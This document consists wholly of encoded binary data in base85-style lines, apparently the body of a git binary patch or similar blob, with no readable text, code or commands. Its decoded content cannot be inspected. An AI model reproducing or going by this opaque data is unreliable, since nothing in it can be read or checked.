z@!Z2odY4)^LqZS#QcSe%+=D5drORImNNBQN5v9XP3`}+Tlzm0?7diCZ73`2XRPHK9 z@)MQ62KDr3iuxAnspE!-rEcHg?s5z5_zF~8L_2PXs-#^LRZHRY`&uN>x@*wr{t9FG zbur>E3j2ud|Dg3}zxkWiv#x?*JO93wjIV&Rs{~G(I7g0~q8jv=jyJ&|`)Sloc%Y#T z-GqI2i@x|?gjg?_(lkYl!D0suxCPhSBHH#Hl%F3}xy8p-+?o1(52JZ?37o1_2qKCf zjD`-n8|q9$zJqO>R{}Fh+-9V3gQlIS<1IAxW(kC5Oov~AF7T@Bj*Lp$z3yHzg4GhY}pDGz4t#`fY1LB_O1@fMqmJS%5A&nJ|iFK zq@wqWJfiaMI`Q7GFbvndaYV8~TV`-A#A2%bhls_LdjBC(z_t7T5Osoc)pt7ysWBX4 z1i{8sknkzf?LWmVv3}`T8RfTLseE4Q7QjP$e(5UNf`0rHYVZHBIL*BoJPdQSBGndh zcFD{=LK4$n%C@yWwnp)l2+o9y2pQt{oBY-=WQ2&aQHuowH!M(xB|bInBbHE@SymOB zsg+p{4%m;FYiC0^Q#W&>fPnWb?J>*YL01lPbfTw2h0tm^5Fy-!HisHnWLTTchaOre zqf8v0DfvDo7%x~1K6qV!I5xdxkqzC_9-oAvFXgtpWRW8f+0n@=YgN3?YI!AxDmAH3 zb(L>&fmODnT$_BdLZ)Pu+lHy*yIz5d#w8T&A*<6En`}&HtiZ@Ai?N9@9&vYE90$y? zh+U|E1sP6-9&$eHtu#-0Fj;9zpSd(8=Ko>^=sGJvnVXqttVOVg78($y%?w`+ zl6BxFSm!0{a=@v=D^hlfj03vGXayAQEw4a2c-SR-btd5@XItn)9~nl{M;?;TSn>g+ z2<V)(L!k}Sj0ahBBGp` z%Uzm>!yE-h=Zj!=f@tXNgeEI-uU~62r{>`jHUIqEn$Ngu;(fThO#B-P$A=x^RdKqO zw>V(ja6RW%khO5+oUI_^Yy65U9Ct+D?#ul3eflFDs)scf_(~sH?$Z5~;4ka@?!Sz9 zKK0RmoGhSm{xTr(S4>x37y=s+j;a=CG%;l(_zxeCLQ?`=7Fg}j!&KlJ=4|W;PLP2XrLS%ZCo&8u&0GIr;AyYP0j>-1&@vB z+B)~BYejj-{-De38&MfaG8ZVvm<2_ zY8D}zi!7QE0Y=Q?L5I_|2>FsxoPuFpi#>fQQ?rf0j1)3ZqN8tdt5+j#ll+&unBkF>QdC0*(o`Ef3)|Mb9lf??BbsADt zuKFiPO{ssZWT!w@EGV8yS7I@wOd1L{G?p@qoYiEa&9!hdtI4+Ii{0{m?B{@g{B$*l zf$RCU>avEY`2xfa);bD0HGkU#o>9z$NLgu^yvS{~EHdJZhyeHD!pgnx|-C zP00Ez5;bL=@GsPy5JfU73ht9AX-wTlrAp~!UD+~BF|>#R zd2wsG#2RhkTT4Ko^?j;U4`gs*@PWXgl>O?-`r?*#_9`&+xuk^f2Ug_~Dj^<@atVa~ksS)VCHe z8d;Bk=JUKY%8V>#LTnVF0QX{oB9Ndut`U;3SV@iKu>b28;>poiI_X|xSplNTuL+L) zeaP^K#SsmMu?76g;gYyRQKfOTys?a=-c4kGoQ*r1K)~Ig&zs0DD)OsnD$tMIQ{ht& zc5ay|kUdFurHxHx{r^G52^eX5lB|N)`XrfHVZ9Mi=n^bg==Jn1nuol<)J#^Ufz9w! z3o5~Xdzn#EZGD8Q`Z%|$rQAS5|d?Pv699n%U6t7 zLu%!ePX!m|0r{!`k)XQqmn+V5yO6V&-gU|*7~nmpYzV&UZ7+i>-WN&;y?6F1<@vqXpe$3^}^V$TInP z-GR?zGkcb930jF-Pc@E=E+xk?sHf~kzxKfR(tDKbNU_2FqH58lyAm(cqMkC2E_TLp zl^Qgn&{bF4x`AQJObB}qWtHh(4=`crS_`?Pu|38h#D%h?eWj?o^7L)@lH=!b$_xwr z`6vVwI`yPIJ!K>DDgDq>Rt>6)Gr>@}lr0JV0T%aFyrNSB{|7{h&z3^>b$|b?4hT|LuOVbg+wY^1*mp6!rpcAC+>= zFaB5%N*u@d;*5Amm)H8sT49GFN&k73sZYu&5xZeIAq?<38&K+7%N)*dIPaUiLf%LG})P`IMYYg~Mcu z$6fy9V2hQKhk=8Brc1-vo>h6&X}D??gGd5*<_?#!zD37YrVxUh5z?Q&9}aHKCff)^ z#^0b%MgVy;X{oY}JZ7O&sdB96!9`fDy4p@UnJOF7{8ZV*%bjJV|BROSH4oZ1653er z{97ZjO(Xw)y)CMa7fyPEAk=QOO!O|?jZS=_X)LD~M$1EJvU8f86j{`f$&TNxNq69s zafp#lpEO(@n6*oEIZaL!m#EJeIl3Wy1%mwq903j2WijX|4c27vE{CRCoHY>(^ZOX^ zO*RFNm64UQ%=TI6M<(;Ru0adMCFgcf_#NszRz3qu>C{-+!2b($&L8%fc)zf@s=Y_S z%v7-Q4;dc*~C_2MuC_(e;UVHyZy-$vo%as1q( zLE~j-+nu*Dlw-7WysX*wC02y7Q(@@9+k_v*($=$2B}V1IH3X*7<|xw_PB`2?fi}mj z$}o;m-Y-Vg-lVD%WGro(2&%56OM&Z0va|+J_5{YlMxE?%_JDYDqYL_5!c4B zPodk>Wi_hZOqRo`k~0~u9Ej6XGoi?Koq~N@ucZvP8F8vKe+o|imE=7Y*3WTDoQetT zr9M+-hoDUU1&bOW1wtBka(W#rfzML@R9WvKdQSt}opUI^PxYpOcURJ=X|RZ2r`%~W z#jgbSjRaTFfK;5($)X;&^Gtvsm^V++xg;!Q}TW&Yok` z;91!s{373VDMQ(H*JT**z&1HA(4uE?-YloBb7XV#F;_ECmP*67O2JX2JtsZn=}X*K zvtZP+r-EEX9vzv?CPOBrJqKC5ot}RVM*X?dik07c4pMhLef=CbZ#`9dUN+$+U$jt0 zl{z|eo|p9lcR~(nyAd(YcWj6vXAaMyOV7)|;^p|`c^TaNBewh5d&d?JfAY%TvBU7; zI6h~=8MN}T2yx)PFBSVi@F%Ym{!8q!^B#g-l@icMT!}6R8*Jck zJNB>$!s&4Cf^Bo8|qvd!!?SlrKcM~-{`V?>D4XhhtCfCF2RnxK@*n9ZVz#yoL(Yt+4-Dy z-PqB|rLt$qRtAxC4dk-6QrgtdDH$gmN5d5zaSr@c8TOzGiF0St^kp!pGilc{S+^!j zi(a^W;j>KeQHmHxKEVMP5slCk71!`bW&tE0b>Honap8mO>-vZe+(3|Sm+2TmnB1Tr z2@-b|Rmp)&=}GqqKG~HF#UMtpbB>HEHPfQ#mjKdpWVIl6VX|Ds^}nb9#lwy{x3>>X&i&T_(R*F#8=8zFg6QA^EPPQ?C?( z6t)~<)h7*Sl?z*EY)8o~`}1z))82{7uYmWkW-&gUd_{WEgylHm;R;_4ANG2>yBzLx zS970HuNCqXj<>3>$~snF*v{nlD%8vEG~rd~#m8vFt8#2;F?Al`6sogQ)?xBJNCTR@ zQdVwPs;H!nhp&7DN1fo(61Ab*0Q{Dh%YvW6;}3ygfpCze(EwdqDMyFg#8FV@%Fem! zELQax4PONw`hyBr$l7#x6kY^yVE4Z5{KM*IaARenu6Z8!02Pg*{uz9!@U0&VMSGT|?Zetb>FLC*@y zmEqz&YLY9vwP04q@5-=wBD80483NL%+e5w~K^i~Y0lF9;%_tn6Gj7p94L`efjy}wl zy%4q%xlwlUf0>OwZs(3W@e^figfDP0y}nU)w7^1X%wji?%59RiFf6nLXTxSJp~$e` zDFK#E!X~)DvZ?DP8CIqq6w`T|WJsCZFtCOM+dSA>5?U)nYqnFc)9|5+<#pMwPD!pR zwIFIU&c$ZLIN$14E89?Zl(g-#UCHhSZ3ohBI<#H3EmnK|cgQ)#(8?V$@^7FJ zD%>Hhr4T}V!w~*Zq{=-wMR&k(GA{|#9gF343hE>DKnDxqo`T^Sq%FQu~I5yw|@ zR{Qc~XnKh%Rl$VrZ7GwTSzuTGV2=Ow1q&e8uVLEDpcSID7_HF#qnTyVvP-p=?QSi) zEZ+W7c>94zlXuEiP>=TQ#HP-q3p-`JKkpd_)5#Dk*f>Wi;!Rn(gqOpRf;1kvl>a7l z-cfJDOTFz)+0{S$asfm*rU>$8U1lMjMdf!%|N3Y6J6eb)b(`QooGBpX*szCUEnJ5s zpQrFlxIubs7cK?Y)6=^!y!Etfm+TV4!wXi+=-R>t?WFcL{jp2dXm|quYJ#gHlRZq$ z!(qmc-8g^5+2f3JF6X-kb`9EbQNV%$V~UeIX<$AgH-4n|^Q9xGR2zX9p1K@7MfdY% zSUL}&0xCI7TUt7vZz<+9H0NGUwktG&_VCjx*H@vBAI(may&}*QPlDMv#Uahdt*Ebr z4>}Xp zlE6CvTrE05OKpnX&*a?0Q?G$3@T#F6mW(}IW;(c6M)8La78iAYbT(w_v*XGfIHcME17?q4LWOth5kBxM?I{u8-Py?4b z?h=a=Cs|R!O;zA(cTRD;ETUdCDCN9`TR}{^Y4I?N+fvJN0>~fJTy~^$z*DPzjF9{XhYSl?LE;H zEjT2bmu*S)RNd#H^(xVV_oZKz!Csna7}}nLzw-EV!;4+;&#LkF-k0?sY~1%VT%i|U zkY2GSQ;fG}8jL!_EEp%=Za5WilpCgLAIPRvj{-FmSyk}I|4IB^N8acWLmkZ>qf*j1 z(@vj$Am6}OCodj`FY^@ra9ED1)5u3N4M1TR{6*r=4Yx-+2!CzHj~_F>>}-#lO{S*w z&`B7XkH>F8Oar8H(HAis{G^MYQ>2%}XwVH4~ z0oPSG)@CwQ1e^<)hx8cQN+C=$Posgj(CX;7*&GaPIJ|Sxaz6C-v=ULGSFO`BR?F24vUpXO@(@St{{Nyp?N5)SW zGk(nAL20#yrc4?+Vq#fv$oN4MQzpdoKVVpk|AoW&3FC*v^FMf4d;A2S3YzH=bYa8r zxGOgt2)J}`OyY(g2VB<;)83OZI=xQa zMkDa|blnDtBk(tPDn>o}=_x5g2MiiI6#o$8gfU|$;vZj3YL0)*%>;^>V(~^ZCXoH< zlmQc`js?*gA&-~X_=g*lOpmy5Z-Bha>h3yYMyd)a%(F(-bdzb63weU8kx3~-lCqJ; z`W9788I>|RC2gXrvkqmmK05r^k*;0mW`2AKYw; zr4y%Qke5$@Yi{)2DVbFJ-z_zzd?aJiO^>0C?r8Em{KeqU4WCAux4j$QSEhUm;OZsH zw*-C}TEz5^rwBG2P*qi8rVDzi&VyPG_JT zQpEJE3%_i6vnGx>ciwJSTYHQ;=|w{8^EowKZ4ZmMB2 zRYk&`u?XpC{0$kCHgWu*ArnWZOdK=`vRIYVQ>SICz|0`cl!d=V_#^!7#&NTP-aaiK z#WyGw&d33>Q7{d-is+4PM{qZL_6!_+Ib=Hvy{{$>K8q75la8E~UzVR5Qd*8rrMExD z`dmRa%j2o|bP8A1p49T3oE|ne)R5M0NnDZ|h9ZCyG!Am)3J^z7lh0(s@X=wK;yRUu z78`=Z!FU@e3qF(EtVXisc{#7jhvAwky@a=79c~ENIp6@UWrDEvq#w@9R$f|!ro?4C zYW^QdH8%is0O5VSc?W&wdf&vGSM{M|4WdUbNPChNshNfVrw;yj=Qxz0tZgdW<{aR$ zl>CdfpgDwt18wxj1w;@Z`%$UKh@#-XK$N0GU=I% za*TBynjTC)U&OH;PqjanU44f~X-b?MB`lWDxWecow+d^5xYgA=TiHqlHS|Qf)1f4IGkpZR{V@>{I9*PB5IL$jDj(=MaARaO4Bxx1HTGf=GnSZVo9zLb?EntAdnhLcTi zUqz^{CpG^HL-wRuU%@4@k1l_Ok^5BFlw^#eiq{Z+kW7i!qz=95$TiUR4*hXWw({&& z!w?(P{R~XVQIvWegIZ3@t|NTBHdXx^&|}o&Yf$A?TJW_T7Jj9s!6cSino=*CIEv*+ zTz-XbKuwVUi5pmjIr)okpuRXnZ{L(nt6h&bYW#*b@6GXp(uSotQqqPx@NX5TOmWmq z&`cWgf1~JcG5SXUvaB6Uy}y-xLo)#K4&Q(`HoNHsj6;bU=S@2HtsEh@TlFp;QS{h% Hvf2LuLJO@c